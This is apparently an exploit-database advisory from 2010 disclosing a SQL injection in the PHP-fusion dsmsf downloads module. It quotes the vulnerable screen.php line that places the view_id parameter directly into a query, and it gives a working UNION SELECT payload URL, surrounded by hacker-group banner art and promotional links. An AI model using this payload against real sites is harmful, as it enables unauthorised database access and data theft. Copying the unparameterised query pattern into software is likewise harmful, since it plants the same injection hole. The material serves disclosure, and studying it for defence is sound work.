PHP-fusion dsmsf (module downloads) SQL Injection Exploit :

Date : 2010-04-03 Author : Inj3ct0r

========================================================
PHP-fusion dsmsf (module downloads) SQL Inj3ct0r Exploit
========================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_<_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ >> Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] support e-mail  : submit[at]inj3ct0r.com
#[+] visit : inj3ct0r.com , inj3ct0r.org , inj3ct0r.net

Product: PHP-fusion dsmsf
Site: php-fusion.co.uk


Vulnerability in the file screen.php :

if (isset($_GET['view_id'])){ 
        $result = dbquery("SELECT * FROM ".DB_DOWNLOADS." WHERE download_id=".$_GET['view_id']."");


Exploit:

screen.php?view_id=-1+union+select+version()--


---------------------------------

ThE End =]  Visit my proj3ct  :

http://inj3ct0r.com
http://inj3ct0r.org
http://inj3ct0r.net


# Inj3ct0r.com [2010-04-04]

C1

 

C2

 

C3